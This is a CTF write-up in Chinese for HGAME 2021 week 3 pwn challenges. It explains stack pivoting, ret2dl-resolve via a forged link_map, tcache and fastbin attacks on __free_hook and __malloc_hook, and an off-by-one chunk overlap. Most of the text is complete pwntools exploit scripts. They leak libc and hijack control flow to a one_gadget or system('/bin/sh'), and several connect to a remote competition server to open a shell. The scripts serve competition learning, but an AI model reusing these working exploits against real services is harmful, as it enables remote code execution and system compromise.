HGAME2021-WEEK3-PWN-WP
blackgive
栈迁移
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
sh = process("./blackgive")
#sh = remote("")
libc = ELF("./libc6_2.27-3ubuntu1.4_amd64.so")
elf = ELF("./blackgive")
pop_rdi_ret = 0x400813
bss_base = 0x6010A0
off = 0xA0
payload = 'paSsw0rd'.ljust(0x20,'\x00')
payload += p64(bss_base + off - 0x8) + p64(0x4007A3)
sh.recvuntil("password:")
#gdb.attach(proc.pidof(sh)[0])
sh.send(payload)
payload = '\x00' * off + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(0x40070a)
sh.sendlineafter("!\n",payload)
puts_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
payload = 'paSsw0rd'.ljust(0x20,'\x00')
payload += p64(0) + p64(libc_base + 0x4f432)
sh.sendafter("password:",payload)
sh.interactive()
without_leak
64 位 ret2dl-resolve
裸题。由于输出流都被关闭,所以无法实现 leak,考虑进行 ret2dl-resolve
。由于提供了 libc
,考虑通过伪造 link_map
结构体 getshell。打本地的时候,即便打通了也会有

这个 Got EOF
,一般这个时候就是说明失败了,而且用 exec 1>&0
也无用,导致我浪费了很多时间调试。最后终于想到用 mkdir
测试一下才知道成功 getshell 了。
关于调试,由于我们的伪造,sym->st_other
是指向 read@got - 8
的,也就是 close@got
,要保证 close
被解析过才能正常运行,否则会崩溃。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ['tmux','splitw','-h']
#sh = process("./without_leak")
sh = remote("182.92.108.71",30483)
elf = ELF("./without_leak")
bss_addr = 0x404B00
def ret2csu_payload(rbx,rbp,call_addr,argv1,argv2,argv3):
csu1 = 0x40123A
csu2 = 0x401220
payload = p64(csu1)
payload += p64(0) + p64(1) + p64(argv1) + p64(argv2) + p64(argv3) + p64(call_addr)
payload += p64(csu2)
payload += p64(0) * 7
return payload
def fake_Linkmap_payload(elf,fake_linkmap_addr,known_func_ptr,offset):
plt0 = elf.get_section_by_name('.plt').header.sh_addr
linkmap = p64(offset & (2 ** 64 - 1))#l_addr
linkmap += p64(17)#l_name
linkmap += p64(fake_linkmap_addr + 0x18)#l_ld
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))#l_next
linkmap += p64(7)#l_prev
linkmap += p64(0)#l_real
linkmap += p64(0)#l_ns
linkmap += p64(6)#l_libname
linkmap += p64(known_func_ptr - 8)#l_info[0] tags
linkmap += '/bin/sh\x00'
linkmap = linkmap.ljust(0x68,'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,'A')
linkmap += p64(fake_linkmap_addr + 8)
resolve_call = p64(plt0 + 6) + p64(fake_linkmap_addr) + p64(0)
return (linkmap,resolve_call)
offset = 0x20 + 0x8
payload = '\x00' * offset
libc = ELF("./libc-2.27.so")
log.success('system offset:' + hex(libc.sym['system']))
fake_linkmap_addr = bss_addr + 0x100
linkmap, resolve_call = fake_Linkmap_payload(elf,fake_linkmap_addr,elf.got['read'],libc.sym['system'] - libc.sym['read'])
payload += ret2csu_payload(0,1,elf.got['read'],0,fake_linkmap_addr,len(linkmap))
payload += p64(0x401156)
#sh.sendafter('input> \n',rop.chain().ljust(0x200,'a'))
sh.recvuntil('input> \n')
#gdb.attach(proc.pidof(sh)[0])
sh.send(payload.ljust(0x200,'a'))
sh.send(linkmap)
payload = '\x00' * offset
payload += p64(0x40101a)
payload += p64(0x401243)
payload += p64(fake_linkmap_addr + 0x48)
payload += resolve_call
sh.send(payload.ljust(0x200,'\x00'))
sh.interactive()
todolist
这道题就不说了,和上周的题是几乎一样的
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
#sh = process("./todolist")
sh = remote("182.92.108.71",30411)
libc = ELF("./libc-2.27.so")
def take(size):
sh.sendlineafter("exit\n",'1')
sh.sendlineafter("write?\n",str(size))
def delete(index):
sh.sendlineafter("exit\n",'2')
sh.sendlineafter("delete?\n",str(index))
def edit(payload,index):
sh.sendlineafter("exit\n",'3')
sh.sendlineafter("edit?\n",str(index))
sh.sendlineafter("write?\n",str(len(payload)))
sh.send(payload)
def show(index):
sh.sendlineafter("exit\n",'4')
sh.sendlineafter("check?\n",str(index))
take(2048)#index:0
take(0x100)#index:1
delete(0)
show(0)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96
log.success("libc_base:" + hex(libc_base))
delete(1)
#malloc_hook = libc_base + libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
#log.success("malloc_hook:" + hex(malloc_hook))
#edit(p64(malloc_hook - 0x10),1)
edit(p64(free_hook),1)
take(0x100)#index:2
take(0x100)#index:3
one_gadget = libc_base + 0x4f432
realloc = libc_base + libc.symbols["__libc_realloc"]
#payload = p64(one_gadget) + p64(realloc + 0xa)
payload = p64(one_gadget)
edit(payload,3)
#take(0x200)
delete(0)
sh.interactive()
看完之后就觉得这题可以用上周的 exp 来打,所以就 cp
了一下上周的,但是没看清所处的目录,一个 tab 一个回车之后我 blackgive 的 exp 就没了。
Library management System
off by one

这个读入函数是会多读一个字节的,所以我们利用他来修改下一个 chunk 的 size 域。做法就是先申请4个 chunk,记作A,B,C,D。由于本题没有修改的功能,所以需要先 free
A,再 alloc
A,通过对 A off by one
修改 chunk B 的 size
域,使 chunk B 的 size
为 B 和 C 的和(这是为了在 free
的时候通过检测。同时这个和需要大于0x80,这样 free
的时候才会进 Unsorted Bin
)实现 chunk overlapping
,然后 free
掉 B,再把 B 申请回来就可以通过 show
的功能 leak 出 libc。然后再来一轮,这次先 free
掉 C,再对 B chunk overlapping
,修改 C 的 fd,使之指向 &__malloc_hook - 0x23
。指向这个奇怪地址的原因是因为 fastbin
会对目标 chunk 的 size
做检测

可见 malloc
附近并没有可以作为 size
。好在 fastbin
并不会对地址对齐做检测,所以我们通过字节错位来伪造出 size
,也就是 从 &__malloc_hook - 0x23
开始的这个 chunk 了。

就是这样一个效果,我们就可以实现 arbitrary alloc
了。
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
#sh = process("./library")
sh = remote("182.92.108.71",30431)
libc = ELF("./libc.so.6")
def Add(size,payload):
sh.sendlineafter("choice: ",str(1))
sh.sendlineafter("title: ",str(size))
sh.sendafter("title: ",payload)
def Delete(index):
sh.sendlineafter("choice: ",str(2))
sh.sendlineafter("id: ",str(index))
def Show(index):
sh.sendlineafter("choice: ",str(3))
sh.sendlineafter("id: ",str(index))
Add(24,'index:0\n')
Add(48,'index:1\n')
Add(64,'index:2\n')
Add(16,'index:3\n')#avoid top chunk
Delete(0)
Add(24,'a' * 24 + '\x91')
Delete(1)
Add(48,'\n')
Show(1)
sh.recvuntil("is ")
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - (0x3C4B20 + 0x80 + 88)
log.success('libc_base:' + hex(libc_base))
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
alloc_addr = malloc_hook - 0x23
one_gadget = libc_base + 0x4527a
realloc_addr = libc_base + 0x84720
Add(0x40,'index:4\n')
Add(24,'index:5\n')
Add(16,'index:6\n')
Add(0x68,'index:7\n')
Add(16,'index:8\n')#avoid top chunk
Delete(7)
Delete(5)
Add(24,'a' * 24 + '\x91')
Delete(6)
payload = 'a' * 16 + p64(0) + p64(0x71) + p64(alloc_addr)
Add(112,payload + '\n')
Add(0x68,'\n')
Add(0x68,'a' * 0xB + p64(one_gadget) + p64(realloc_addr) + '\n')
sh.sendlineafter("choice: ",str(1))
sh.sendlineafter("title: ",str(16))
#Add(16,'\n')
sh.interactive()
todolist2
看了许久没看出漏洞点,最后终于发现是在 read 函数里

打个 -1 就可以随便输了。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context(log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
#sh = process("./todolist2")
sh = remote("182.92.108.71",30521)
libc = ELF("./libc-2.27.so")
def take(size):
sh.sendlineafter("exit\n",'1')
sh.sendlineafter("write?\n",str(size))
def delete(index):
sh.sendlineafter("exit\n",'2')
sh.sendlineafter("delete?\n",str(index))
def edit(payload,index,size):
sh.sendlineafter("exit\n",'3')
sh.sendlineafter("edit?\n",str(index))
sh.sendlineafter("write?\n",str(size))
sh.send(payload)
def show(index):
sh.sendlineafter("exit\n",'4')
sh.sendlineafter("check?\n",str(index))
take(0x410)#index:0
take(0x410)#index:1
take(0x20)#index:2
delete(0)
delete(1)
take(0x830)#index:3
show(3)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96
log.success("libc_base:" + hex(libc_base))
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
log.success("malloc_hook:" + hex(malloc_hook))
log.success("free_hook:" + hex(free_hook))
one_gadget = libc_base + 0x4f432
log.success("one_gadget:" + hex(one_gadget))
'''----------- above dumped libc ----------'''
take(0x100)#index:4
take(0x100)#index:5
delete(5)
edit('a' * 0x100 + p64(0) + p64(0x111) + p64(free_hook) + '\n',4,-1)
#edit('a' * 0x100 + p64(0) + p64(0x111) + p64(malloc_hook) + '\n',4,-1)
#edit('a' * 0x100 + p64(0) + p64(0x111) + p64(malloc_hook - 0x10) + '\n',4,-1)
take(0x100)#index:6
take(0x100)#index:7
realloc = libc_base + libc.symbols["__libc_realloc"]
#payload = p64(one_gadget) + p64(realloc + 0xa)
payload = p64(one_gadget)
edit(payload,7,len(payload))
#gdb.attach(proc.pidof(sh)[0])
#take(0x200)
delete(2)
sh.interactive()